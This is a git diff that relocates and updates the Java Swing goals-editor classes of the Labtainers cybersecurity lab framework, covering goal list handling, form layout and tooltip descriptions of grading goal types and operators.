((GoalPanels) goal).getExecutableFileTextField().getText(); + + String comments = ((GoalPanels) goal).getComments(); + listofGoalsTMP.add(new GoalValues(goalID, goalType, operator, resultTag, answerTypeTip.getItem(), answerTag, booleanExp, goal1, goal2, value, subgoalList, executableFile, comments)); + } + listofGoals = listofGoalsTMP; //overwrite the old listofGoals with the temp listofGoals + } + + //Swaps goal order in the list of goals and then redraws them + protected void swapGoals(String type, int rowIndex){ + switch(type){ + case "UP": + if(rowIndex > 0){ + //System.out.println("UP: "+listofGoals.get(rowIndex).resultTag+" Index: "+rowIndex); + Collections.swap(listofGoals, rowIndex, rowIndex-1); + } + break; + case "DOWN": + if(rowIndex < rowCount-1){ + //System.out.println("DOWN: "+listofGoals.get(rowIndex).resultTag); + Collections.swap(listofGoals, rowIndex, rowIndex+1); + } + break; + default: + System.out.println("swap case not registered"); + } + } + + + //Compares the data of two lists of ArtifactValues. If there is a difference then return 'true', 'false' otherwise + static boolean goalValuesDiffer(List list1, List list2){ + if(list1 == null || list2 == null || list1.size() != list2.size()) + return true; + else{ + //This is a gross implemenation of copmaring each individual value between two sets of Goal Values (Maybe conisder implementing the GoalValues Class as a comparable) + for(int i=0;i getAboveGoals(String type, int rowIndex){ + ArrayList aboveGoals = new ArrayList<>(); + for(int i=0;i(); + rowCount = listofGoals.size(); + } + + public void updateParameters(JPanel PanelofGoals){ + Component[] goals = PanelofGoals.getComponents(); //Access the list of goals + + for (Component goal : goals) { + GoalPanels gp = (GoalPanels) goal; + JComboBox box = gp.getParameterComboBox(); + if(box.isVisible()){ + gp.updateParameters(); + } + } + } + +//RowCount setters + void increaseRowCount(){ + rowCount++; + } + + void decreaseRowCount(){ + rowCount--; + } + + void resetRowCount(){ + rowCount = 0; + } + +//Getters + int getRowCount(){ + return rowCount; + } + + List getListofGoals(){ + return listofGoals; + } + + List getResultTagList(){ + ArrayList resultTagList = mainUI.getCurrentData().getResultsData().getResultNames(); + return resultTagList; + } + + List getParameters(){ + return mainUI.getCurrentData().getParamsData().getParamNames(); + } + + List getBooleanResults(){ + return mainUI.getCurrentData().getResultsData().getBooleanResults(); + } + + MainWindow getMainUI() { + return mainUI; + } + + +//Debug + static private void goalValuesDifferDEBUG(List list1, List list2, int i){ + System.out.println("GOAL: "+i); + System.out.println(); + System.out.println("Goal ID"); + System.out.println(list1.get(i).goalID + " : " + list2.get(i).goalID); + System.out.println(); + System.out.println("Goal Type"); + System.out.println(list1.get(i).goalType + " : " + list2.get(i).goalType); + System.out.println(); + System.out.println("Opertor"); + System.out.println(list1.get(i).operator + " : " + list2.get(i).operator); + System.out.println(); + System.out.println("Result Tag"); + System.out.println(list1.get(i).resultTag + " : " + list2.get(i).resultTag); + System.out.println(); + System.out.println("Answer Tag"); + System.out.println(list1.get(i).answerTag + " : " + list2.get(i).answerTag); + System.out.println(); + System.out.println("Boolean Expression"); + System.out.println(list1.get(i).booleanExp + " : " + list2.get(i).booleanExp); + System.out.println(); + System.out.println("Goal 1"); + System.out.println(list1.get(i).goal1 + " : " + list2.get(i).goal1); + System.out.println(); + System.out.println("Goal 2"); + System.out.println(list1.get(i).goal2 + " : " + list2.get(i).goal2); + System.out.println(); + System.out.println("Value"); + System.out.println(list1.get(i).value + " : " + list2.get(i).value); + System.out.println(); + System.out.println("Subgoal List"); + System.out.println(list1.get(i).subgoalList + " : " + list2.get(i).subgoalList); + System.out.println(); + System.out.println("Goal ID"); + System.out.println(list1.get(i).executableFile + " : " + list2.get(i).executableFile); + } + +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.form b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalsUI.form similarity index 52% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.form rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalsUI.form index 1b91e7dbc..e7bc92e22 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/GoalsUI.form +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalsUI.form @@ -1,17 +1,11 @@ -
+ - - - - + - - - @@ -37,26 +31,31 @@ - - + - - - - - - - - - - - + + + + + + + + + - - - - - + + + + + + + + + + + + + @@ -66,54 +65,36 @@ - + - - - - - - - - - - - - - + + - - + + + + + + + + + + - + - - - + + - - - - - - - - - - - - - - - + - + @@ -127,60 +108,48 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + - + - - - + - + - + - - + + + - + + + + + + + + + + + + + + + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalsUI.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalsUI.java new file mode 100644 index 000000000..7109b4cb8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/GoalsUI.java @@ -0,0 +1,349 @@ +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.goalsui; + +import java.awt.Component; +import java.awt.Dimension; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.JScrollBar; +import labtainers.mainui.MainWindow; + +/** + * + * @author student + */ + + +public class GoalsUI extends javax.swing.JFrame { + + /** + * Creates new form GoalsUI + */ + GoalsData data; + GoalsData saved; + MainWindow mainUI; + + public GoalsUI(java.awt.Frame parent, boolean modal) { + //super(parent, modal); + initComponents(); + this.setVisible(true); + goalsScrollPaneBar = ScrollPaneOfGoals.getVerticalScrollBar(); + this.mainUI = (MainWindow)parent; + this.data = this.mainUI.getCurrentData().getGoalsData(); + this.saved = new GoalsData(this.data); + loadUI(); + } + + /** + * This method is called from within the constructor to initialize the form. + * WARNING: Do NOT modify this code. The content of this method is always + * regenerated by the Form Editor. + */ + @SuppressWarnings("unchecked") + // //GEN-BEGIN:initComponents + private void initComponents() { + + CreateButton = new javax.swing.JButton(); + RemoveAllButton = new javax.swing.JButton(); + jLabel1 = new javax.swing.JLabel(); + UpdateButton = new javax.swing.JButton(); + ScrollPaneOfGoals = new javax.swing.JScrollPane(); + PanelofGoals = new javax.swing.JPanel(); + CancelButton = new javax.swing.JButton(); + + setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); + setMinimumSize(new java.awt.Dimension(1590, 500)); + addWindowListener(new java.awt.event.WindowAdapter() { + public void windowClosing(java.awt.event.WindowEvent evt) { + formWindowClosing(evt); + } + }); + + CreateButton.setFont(new java.awt.Font("Dialog", 1, 12)); // NOI18N + CreateButton.setText("Create"); + CreateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CreateButtonActionPerformed(evt); + } + }); + + RemoveAllButton.setFont(new java.awt.Font("Dialog", 1, 12)); // NOI18N + RemoveAllButton.setText("Remove All"); + RemoveAllButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + RemoveAllButtonActionPerformed(evt); + } + }); + + jLabel1.setFont(new java.awt.Font("Arial", 1, 12)); // NOI18N + jLabel1.setText("Goal ID"); + jLabel1.setToolTipText("The goal identifier displayed in lab grading output. Use an underscore prefix to supress inclusion in that output, e.g., to use the goal within a boolean expression."); + + UpdateButton.setText("OK"); + UpdateButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + UpdateButtonActionPerformed(evt); + } + }); + + ScrollPaneOfGoals.setAutoscrolls(true); + ScrollPaneOfGoals.setMaximumSize(new java.awt.Dimension(1300, 800)); + + PanelofGoals.setLayout(new java.awt.FlowLayout(java.awt.FlowLayout.LEFT)); + ScrollPaneOfGoals.setViewportView(PanelofGoals); + + CancelButton.setText("Cancel"); + CancelButton.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + CancelButtonActionPerformed(evt); + } + }); + + javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane()); + getContentPane().setLayout(layout); + layout.setHorizontalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(ScrollPaneOfGoals, javax.swing.GroupLayout.DEFAULT_SIZE, 1566, Short.MAX_VALUE) + .addGroup(layout.createSequentialGroup() + .addComponent(CreateButton) + .addGap(18, 18, 18) + .addComponent(RemoveAllButton) + .addGap(0, 0, Short.MAX_VALUE)))) + .addGroup(layout.createSequentialGroup() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addGap(140, 140, 140) + .addComponent(jLabel1)) + .addGroup(layout.createSequentialGroup() + .addGap(434, 434, 434) + .addComponent(UpdateButton) + .addGap(62, 62, 62) + .addComponent(CancelButton))) + .addGap(0, 0, Short.MAX_VALUE))) + .addContainerGap()) + ); + layout.setVerticalGroup( + layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(layout.createSequentialGroup() + .addContainerGap() + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(CreateButton) + .addComponent(RemoveAllButton)) + .addGap(18, 18, 18) + .addComponent(jLabel1) + .addGap(18, 18, 18) + .addComponent(ScrollPaneOfGoals, javax.swing.GroupLayout.PREFERRED_SIZE, 380, javax.swing.GroupLayout.PREFERRED_SIZE) + .addGap(18, 18, 18) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(UpdateButton) + .addComponent(CancelButton)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void CreateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CreateButtonActionPerformed + createButton(); + }//GEN-LAST:event_CreateButtonActionPerformed + + private void RemoveAllButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_RemoveAllButtonActionPerformed + removeAllButton(); + }//GEN-LAST:event_RemoveAllButtonActionPerformed + + private void UpdateButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_UpdateButtonActionPerformed + if(updateButton()){ + mainUI.setGoalsClosed(); + setVisible(false); + dispose(); + } + }//GEN-LAST:event_UpdateButtonActionPerformed + + private void formWindowClosing(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_formWindowClosing + mainUI.setGoalsClosed(); + }//GEN-LAST:event_formWindowClosing + + private void CancelButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_CancelButtonActionPerformed + mainUI.setGoalsClosed(); + setVisible(false); + }//GEN-LAST:event_CancelButtonActionPerformed + + // BUTTONS // + + private void createButton(){ + addGoalsPanel(new GoalPanels(this, data)); + goalsScrollPaneBar.setValue(goalsScrollPaneBar.getMaximum()); + } + + private void removeAllButton(){ + if(JOptionPane.showConfirmDialog(null, "Are you sure you want to remove all?") == JOptionPane.YES_OPTION){ + removeAllGoals(); + } + } + + private boolean updateButton(){ + boolean retval = true; + data.updateListofGoals(PanelofGoals); + saved = new GoalsData(data); + String fname = saved.writeGoalsConfig(true); + if(fname == null){ + retval = false; + }else{ + this.mainUI.getCurrentData().setGoalsData(saved); + } + return retval; + } + + public void updateParameters(){ + data.updateParameters(PanelofGoals); + } + + + // CORE FUNCTIONS// + + //Removes all the goal lines for the lab *note: this doesn't update results.config until the user hits the update button + private void removeAllGoals(){ + data.resetRowCount(); + goalsPanePanelLength = 0; + PanelofGoals.setPreferredSize(new Dimension(0,goalsPanePanelLength)); + + Component[] componentList = PanelofGoals.getComponents(); + for(Component c: componentList) + PanelofGoals.remove(c); + + + PanelofGoals.revalidate(); + PanelofGoals.repaint(); + } + + + // Loads all goals into GUI + protected void loadUI(){ + removeAllGoals(); + for(int i=0; i < data.getListofGoals().size(); i++){ + loadGoal(data.getListofGoals().get(i), i+1); + } + } + + //Loads the goal into GUI + private void loadGoal(GoalValues goalVal, int rowNum){ + GoalPanels newGoal = new GoalPanels(this, data, goalVal, rowNum); + addGoalsPanel(newGoal); + } + + + // Add the goals panel into GUI + public int goalsPanePanelLength = 0; + private JScrollBar goalsScrollPaneBar; + private void addGoalsPanel(GoalPanels panel){ + //Resize the JPanel Holding all the Goal Panels to fit another one (makes the scroll bar resize and should show all objects listed) + //as of 8/24/2020 the PanelofArtifacts uses a flow layout with a horizontal gap of 5, that's where the 5 comes from in the line below + goalsPanePanelLength+=panel.getPreferredSize().height+5; + PanelofGoals.setPreferredSize(new Dimension(0,goalsPanePanelLength)); + + // Create the Goal Panel and add it + data.increaseRowCount(); + PanelofGoals.add(panel); //takes in parent(this), containerlist, rowcount + + // Redraw GUI with the new Panel + PanelofGoals.revalidate(); + PanelofGoals.repaint(); + } + + //Updates the list of goals and redraws them on screen + void refresh(){ + data.updateListofGoals(PanelofGoals); + loadUI(); + } + + //Gets the panel holding the goals + protected JPanel getPanelofGoals(){ + return PanelofGoals; + } + + + /** + * @param args the command line arguments + */ + public static void main(String args[]) { + /* Set the Nimbus look and feel */ + // + /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. + * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html + */ + try { + for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { + if ("Nimbus".equals(info.getName())) { + javax.swing.UIManager.setLookAndFeel(info.getClassName()); + break; + } + } + } catch (ClassNotFoundException ex) { + java.util.logging.Logger.getLogger(GoalsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (InstantiationException ex) { + java.util.logging.Logger.getLogger(GoalsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (IllegalAccessException ex) { + java.util.logging.Logger.getLogger(GoalsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } catch (javax.swing.UnsupportedLookAndFeelException ex) { + java.util.logging.Logger.getLogger(GoalsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); + } + // + + /* Create and display the dialog */ + java.awt.EventQueue.invokeLater(new Runnable() { + public void run() { + GoalsUI dialog = new GoalsUI(new javax.swing.JFrame(), true); + dialog.addWindowListener(new java.awt.event.WindowAdapter() { + @Override + public void windowClosing(java.awt.event.WindowEvent e) { + System.exit(0); + } + }); + dialog.setVisible(true); + } + }); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JButton CancelButton; + private javax.swing.JButton CreateButton; + private javax.swing.JPanel PanelofGoals; + private javax.swing.JButton RemoveAllButton; + private javax.swing.JScrollPane ScrollPaneOfGoals; + private javax.swing.JButton UpdateButton; + private javax.swing.JLabel jLabel1; + // End of variables declaration//GEN-END:variables +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ParamReferenceStorage.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/ParamReferenceStorage.java similarity index 77% rename from modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ParamReferenceStorage.java rename to modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/ParamReferenceStorage.java index 445057a98..b46dab72e 100644 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Goals/src/GoalsUI/ParamReferenceStorage.java +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/MainUI/src/main/java/labtainers/goalsui/ParamReferenceStorage.java @@ -1,190 +1,244 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package GoalsUI; - -import GoalsUI.ToolTipHandlers.ToolTipWrapper; -import java.util.ArrayList; -import java.util.Arrays; - - -/** - * - * @author Dan - */ -public class ParamReferenceStorage { - - public static final ToolTipWrapper[] GoalType_ITEMS = new ToolTipWrapper[] { - //0 - new ToolTipWrapper("matchany", "Results from all timestamped sets are evaluated.
" + - "If the answertag names a result, then both that
" + - "result and the resulttag must occur in the same
" + - "timestamped set. The ’matchany’ goals are treated
" + - "as a set of values, each timestamped based on the
" + - "timestamp of the reference resulttag."), - // 1 - new ToolTipWrapper("matchlast", "only results from the latest timestamped set are
" + - "evaluated."), - // 2 - new ToolTipWrapper("matchacross", "The resulttag and answertag name results. The
" + - "operator is applied against values in different
" + - "timestamped sets. For example, a \"string_diff\"
" + - "operator would require the named results to have
" + - "at least two distinct values in different
" + - "timestamped sets."), - // 3 - new ToolTipWrapper("boolean", "The goal value is computed from a boolean expression
" + - "consisting of goal_id’s and boolean operators, (\"and\",
" + - "\"or\", \"and_not\", \"or_not\", and \"not\"), and parenthisis
" + - "for precedence. The goal_id’s must be from goals defined
" + - "earlier in the goals.config file, or boolean results
" + - "from results.config. The goal evalutes to
" + - "TRUE if the boolen expression evaluates to TRUE for any
" + - "of the timestamped sets of goal_ids, (see the ’matchany’
" + - "discussion above). The goal_id’s cannot include any
" + - "\"matchacross\" goals. NOTE: evaluation is within
" + - "timestamped sets. If you want to evaluate across
" + - "timestamps, use the count_greater_operator below."), - // 4 - new ToolTipWrapper("count_greater", "The goal is TRUE if the count of TRUE subgoals in the
" + - "list exceeds the given value. The subgoals are
" + - "summed across all timestamps. The subgoal list is
" + - "comma-separated within parenthesis."), - // 5 - new ToolTipWrapper("time_before", "Both goal1 and goal2 must be goal_ids from previous
" + - "matchany, or boolean values from results.config
" + - "A timestamped goal is created for each goal2
" + - "timestamped instance whose timestamp is proceeded
" + - "by a goal1 timestamped instance. The goal for that
" + - "timestamp will be TRUE if the goal2
" + - "instance is TRUE, and at least one of the goal1
" + - "instances is TRUE. These timestamped goals can
" + - "then be evaluated within boolean goals."), - // 6 - new ToolTipWrapper("time_during", "Both goal1 and goal2 must be goal_ids from previous
" + - "matchany goal types, or boolean values from
" + - "results.config. Timestamps include a start and end
" + - "time, reflecting when the program starts and when it
" + - "terminates. A timestamped goal is created for each
" + - "goal2 range that encompasses a goal1 timestamp.
" + - "The goal for that timestamp will be TRUE if the
" + - "goal2 instance is TRUE, and at least one goal1 instance
" + - "is TRUE. These timestamped goals can then be
" + - "evaluated within boolean goals."), - // 7 - new ToolTipWrapper("time_not_during", "Similar to time_during, but timestamped goals are
" + - "always created for each goal2. Each such goal is True
" + - "unless one or more goal1 times occur within a True goal2
" + - "range."), - // 8 - new ToolTipWrapper("execute", "The is treated as a file name of a script to
" + - "execute, with the resulttag and answertag passed to the
" + - "script as arguments. The resulttag is expected to be
" + - "one of the symbolic names defined in the results.config
" + - "file, while the answertag is expected to be a literal
" + - "value or the symbolic name in the parameters.config file
" + - "Note: the answertag cannot be a symbolic name from
" + - "results.config"), - // 9 - new ToolTipWrapper("count_value", "If the remainder of the line only includes a resulttag,
" + - "then the goal value is assigned the quanity of
" + - "timestamped files containing the given resulttag.
" + - "Otherwise the goal value is assigned the
" + - "quantity of timestamped files having results
" + - "that satisfy the given operator and arguments."), - // 10 - new ToolTipWrapper("count_matches", "If the remainder of the line only includes a resulttag,
" + - "then the goal value is assigned the quanity of
" + - "timestamped files containing the given resulttag.
" + - "Otherwise the goal value is assigned the
" + - "quantity of timestamped files having results
" + - "that satisfy the given operator and arguments."), - // 11 - new ToolTipWrapper("value", "The goal value is assigned the given resulttag value from
" + - "the most recent timestamped file that contains the resulttag."), - - // 12 - new ToolTipWrapper("matchExpression", "The resultTag is an arithmetic expression")}; - - - public static final ToolTipWrapper[] Operator_ITEMS = new ToolTipWrapper[] { - // 0 - new ToolTipWrapper("string_equal", "The strings derived from answertag and resulttag
" + - "are equal."), - // 1 - new ToolTipWrapper("string_diff", "The line_id is an integer line number
" + - "(starting at one). Use of this to identify
" + - "lines is discouraged since minor lab changes
" + - "might alter the count."), - // 2 - new ToolTipWrapper("string_start", "the line_id is a string. This names the
" + - "first occurrence of a line that starts with
" + - "this string." ), - // 3 - new ToolTipWrapper("string_end", "The line_id is a string. This names the
" + - "first occurrence of a line that contains the
" + - "string." ), - // 4 - new ToolTipWrapper("string_contains", "The line_id is a regular expression. This names the
" + - "first occurrence of a line that matches the regular
" + - "expression. Also see the \"GROUP\" field_type." ), - - // 5 - new ToolTipWrapper("integer_equal", "The line_id is a regular expression. This names the
" + - "first occurrence of a line that matches the regular
" + - "expression. Also see the \"GROUP\" field_type." ), - - // 6 - new ToolTipWrapper("integer_greater", "The line_id is a regular expression. This names the
" + - "first occurrence of a line that matches the regular
" + - "expression. Also see the \"GROUP\" field_type." ), - - // 7 - new ToolTipWrapper("integer_lessthan", "The line_id is a regular expression. This names the
" + - "first occurrence of a line that matches the regular
" + - "expression. Also see the \"GROUP\" field_type." )}; - - - //Answer Types - public static final String[] answerTypes = new String[] { - "Literal", - "Result Tag", - "Parameter", - "Parameter ASCII" - }; - - //Boolean Result Types - public static final ArrayList booleanResultTypes = new ArrayList(Arrays.asList( - "CONTAINS", - "FILE_REGEX", - "LOG_TS", - "FILE_REGEX_TS", - "LOG_RANGE", - "TIME_DELIM" - )); - - //Input format 1: [operator : resultTag : answerTag] - public static final ArrayList opInput = new ArrayList(Arrays.asList( - "matchany", - "matchlast", - "matchacross", - "count_matches" - )); - - //Input format 2: [goal1 : goal2] - public static final ArrayList goalInput = new ArrayList(Arrays.asList( - "time_before", - "time_during", - "time_not_during" - )); - - //Input format 2: [resultTag] - public static final ArrayList resultTagInput = new ArrayList(Arrays.asList( - "count_value", - "value" - )); - - -} +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.goalsui; + +import java.util.ArrayList; +import java.util.Arrays; +import labtainers.mainui.ToolTipHandlers.ToolTipWrapper; + + +/** + * + * @author Daniel Liao + */ +public class ParamReferenceStorage { + public static ToolTipWrapper getWrapper(ToolTipWrapper[] tipList, String item){ + ToolTipWrapper retval = null; + + for(ToolTipWrapper tool_tip : tipList){ + if(tool_tip.getItem().equals(item)){ + retval = tool_tip; + break; + } + } + return retval; + } + public static final ToolTipWrapper[] GoalType_ITEMS = new ToolTipWrapper[] { + //0 + new ToolTipWrapper("matchany", "Results from all timestamped sets are evaluated.
" + + "If the answertag names a result, then both that
" + + "result and the resulttag must occur in the same
" + + "timestamped set. The ’matchany’ goals are treated
" + + "as a set of values, each timestamped based on the
" + + "timestamp of the reference resulttag."), + // 1 + new ToolTipWrapper("matchlast", "only results from the latest timestamped set are
" + + "evaluated."), + // 2 + new ToolTipWrapper("matchacross", "The resulttag and answertag name results. The
" + + "operator is applied against values in different
" + + "timestamped sets. For example, a \"string_diff\"
" + + "operator would require the named results to have
" + + "at least two distinct values in different
" + + "timestamped sets."), + // 3 + new ToolTipWrapper("boolean", "The goal value is computed from a boolean expression
" + + "consisting of goal_id’s and boolean operators, (\"and\",
" + + "\"or\", \"and_not\", \"or_not\", and \"not\"), and parenthisis
" + + "for precedence. The goal_id’s must be from goals defined
" + + "earlier in the goals.config file, or boolean results
" + + "from results.config. The goal evalutes to
" + + "TRUE if the boolen expression evaluates to TRUE for any
" + + "of the timestamped sets of goal_ids, (see the ’matchany’
" + + "discussion above). The goal_id’s cannot include any
" + + "\"matchacross\" goals. NOTE: evaluation is within
" + + "timestamped sets. If you want to evaluate across
" + + "timestamps, use the count_greater_operator below."), + // 4 + new ToolTipWrapper("count_greater", "The goal is TRUE if the count of TRUE subgoals in the
" + + "list exceeds the given value. The subgoals are
" + + "summed across all timestamps. The subgoal list is
" + + "comma-separated within parenthesis."), + // 5 + new ToolTipWrapper("time_before", "Both goal1 and goal2 must be goal_ids from previous
" + + "matchany, or boolean values from results.config
" + + "A timestamped goal is created for each goal2
" + + "timestamped instance whose timestamp is proceeded
" + + "by a goal1 timestamped instance. The goal for that
" + + "timestamp will be TRUE if the goal2
" + + "instance is TRUE, and at least one of the goal1
" + + "instances is TRUE. These timestamped goals can
" + + "then be evaluated within boolean goals."), + // 6 + new ToolTipWrapper("time_during", "Both goal1 and goal2 must be goal_ids from previous
" + + "matchany goal types, or boolean values from
" + + "results.config. Timestamps include a start and end
" + + "time, reflecting when the program starts and when it
" + + "terminates. A timestamped goal is created for each
" + + "goal2 range that encompasses a goal1 timestamp.
" + + "The goal for that timestamp will be TRUE if the
" + + "goal2 instance is TRUE, and at least one goal1 instance
" + + "is TRUE. These timestamped goals can then be
" + + "evaluated within boolean goals."), + // 7 + new ToolTipWrapper("time_not_during", "Similar to time_during, but timestamped goals are
" + + "always created for each goal2. Each such goal is True
" + + "unless one or more goal1 times occur within a True goal2
" + + "range."), + // 8 + new ToolTipWrapper("execute", "The is treated as a file name of a script to
" + + "execute, with the resulttag and answertag passed to the
" + + "script as arguments. The resulttag is expected to be
" + + "one of the symbolic names defined in the results.config
" + + "file, while the answertag is expected to be a literal
" + + "value or the symbolic name in the parameters.config file
" + + "Note: the answertag cannot be a symbolic name from
" + + "results.config"), + // 9 + new ToolTipWrapper("count_value", "If the remainder of the line only includes a resulttag,
" + + "then the goal value is assigned the quanity of
" + + "timestamped files containing the given resulttag.
" + + "Otherwise the goal value is assigned the
" + + "quantity of timestamped files having results
" + + "that satisfy the given operator and arguments."), + // 10 + new ToolTipWrapper("count_matches", "If the remainder of the line only includes a resulttag,
" + + "then the goal value is assigned the quanity of
" + + "timestamped files containing the given resulttag.
" + + "Otherwise the goal value is assigned the
" + + "quantity of timestamped files having results
" + + "that satisfy the given operator and arguments."), + // 11 + new ToolTipWrapper("value", "The goal value is assigned the given resulttag value from
" + + "the most recent timestamped file that contains the resulttag."), + // 12 + new ToolTipWrapper("value_sum", "The goal value is assigned the sum of all the given
" + + "resulttag values."), + // 13 + new ToolTipWrapper("value_max", "The goal value is assigned the maximum resulttag value
" + + ""), + + // 14 + new ToolTipWrapper("matchExpression", "The resultTag is an arithmetic expression")}; + + + public static final ToolTipWrapper[] Operator_ITEMS = new ToolTipWrapper[] { + // 0 + new ToolTipWrapper("string_equal", "The strings derived from answertag and resulttag
" + + "are equal."), + // 1 + new ToolTipWrapper("string_diff", "The line_id is an integer line number
" + + "(starting at one). Use of this to identify
" + + "lines is discouraged since minor lab changes
" + + "might alter the count."), + // 2 + new ToolTipWrapper("string_start", "the line_id is a string. This names the
" + + "first occurrence of a line that starts with
" + + "this string." ), + // 3 + new ToolTipWrapper("string_end", "The line_id is a string. This names the
" + + "first occurrence of a line that contains the
